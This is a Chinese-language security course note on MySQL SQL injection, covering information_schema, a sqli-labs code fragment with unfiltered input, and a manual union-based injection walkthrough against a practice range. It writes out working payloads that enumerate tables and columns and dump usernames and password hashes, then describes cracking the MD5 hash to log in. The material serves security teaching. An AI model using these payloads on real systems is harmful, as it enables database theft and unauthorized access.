小迪安全第12天 web漏洞,SQL注入之简要SQL注入

12 web漏洞,SQL注入之简要SQL注入

前言:

​ 在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入 又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需 要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是 WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的

SQL注入中需要学习到的知识点

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第1张图片

(右边比较容易理解,左边比较困难)

SQL注入在安全测试中的危害

1.SQL注入能够操控数据库里面的数据

2.可以直接进行后门的写入,直接getshell

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第2张图片

MySql注入

思维导图:

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第3张图片

  • 1.信息收集(为后面操作做准备)

    ​ 操作系统

    ​ 数据库名

    ​ 数据库用户(不是操作系统的用户)

    ​ 数据库版本

    ​ 其他(网站路径等)

    2.数据注入

    ​ 根据数据库版本

    ​ 低版本

    ​ 暴力查询结合读取查询

    ​ 高版本

    ​ information_schema有据查询

    3.高权限注入

    ​ 常规查询

    ​ 跨库查询

    ​ 文件读写(需要网站路径)

如何判断注入点:

老办法:

​ and 1=1 页面访问正常

​ and 1=2页面访问错误

​ 可能存在注入点

MYSQL数据库
数据库A=网站A=数据库用户A

	表名
			列名
					数据

​	数据库B=网站B=数据库用户B

​	。。。。。。

​	数据库C=网站C=数据库用户C

​	。。。。。。

在MYSQL5.0以上版本中,存在一个自带数据库名为information_schema;他是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以查询他来获取指定数据库下的表名、列名信息

必要知识

  1. 在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

  2. 数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

  3. 常用参数

    information_schema.tables:记录所有表名信息的表

    information_schema.columns:记录所有列名信息的表

    table_name:表名

    column_name:列名

演示

简单代码分析SQL注入原理

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第4张图片





Less-2 **Error Based- Intiger**







Welcome    Dhakkan
"; echo 'Your Login name:'. $row['username']; echo "
"; echo 'Your Password:' .$row['password']; echo "
"; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value"; } ?>



可控变量

带入数据库查询

变量未存在过滤,或过滤不严谨

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第5张图片

未进行过滤

Sqlliabs注入靶场搭建简要使用

下载地址

https://github.com/Audi-1/sqli-labs

安装配置教程

https://blog.csdn.net/weixin_42637683/article/details/86763335?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163844160216780261986312%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=163844160216780261986312&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-86763335.first_rank_v2_pc_rank_v29&utm_term=sqllibs%E5%AE%89%E8%A3%85&spm=1018.2226.3001.4187

SQL手工注入漏洞测试(MySQL数据库)

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第6张图片

下面那个链接点进去

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第7张图片

1.判断是否有注入点

​ 有注入点

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第8张图片

2查询字段数

​ order by X

​ 字段数为查询正常显示与非正常显示的那个临界值

​ 如:id=1 order by 4

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第9张图片

​ id=1 order by 5

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第10张图片

​ 不正常显示,故,字段数为4

3.报错猜解准备

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第11张图片

​ 可显示字段为 2,3

4.信息收集

​ 数据库版本:version() 5.7.22-0ubuntu0.16.04.1

​ 数据库名字:adtabase() mozhe_Discuz_StormGroup

​ 数据库用户:user() root@localhost

​ 操作系统:@@version_compile_os Linux

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第12张图片

5.查询数据库下的表名

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第13张图片

?id=-2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'--+

group_concat()将结果拼接起来输出

6.查询指定表名下的列名信息

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第14张图片

?id=-2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'--+

7.查询指定数据

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第15张图片

?id=-2 union select 1,name,password,4 from StormGroup_member --+

e396b1fd78441ac1e5c79d469ee0fe91limte1,2

md5解密后得到密码

小迪安全第12天 web漏洞,SQL注入之简要SQL注入_第16张图片

登录进去得到key
请添加图片描述

你可能感兴趣的:(2020小迪安全,安全,sql)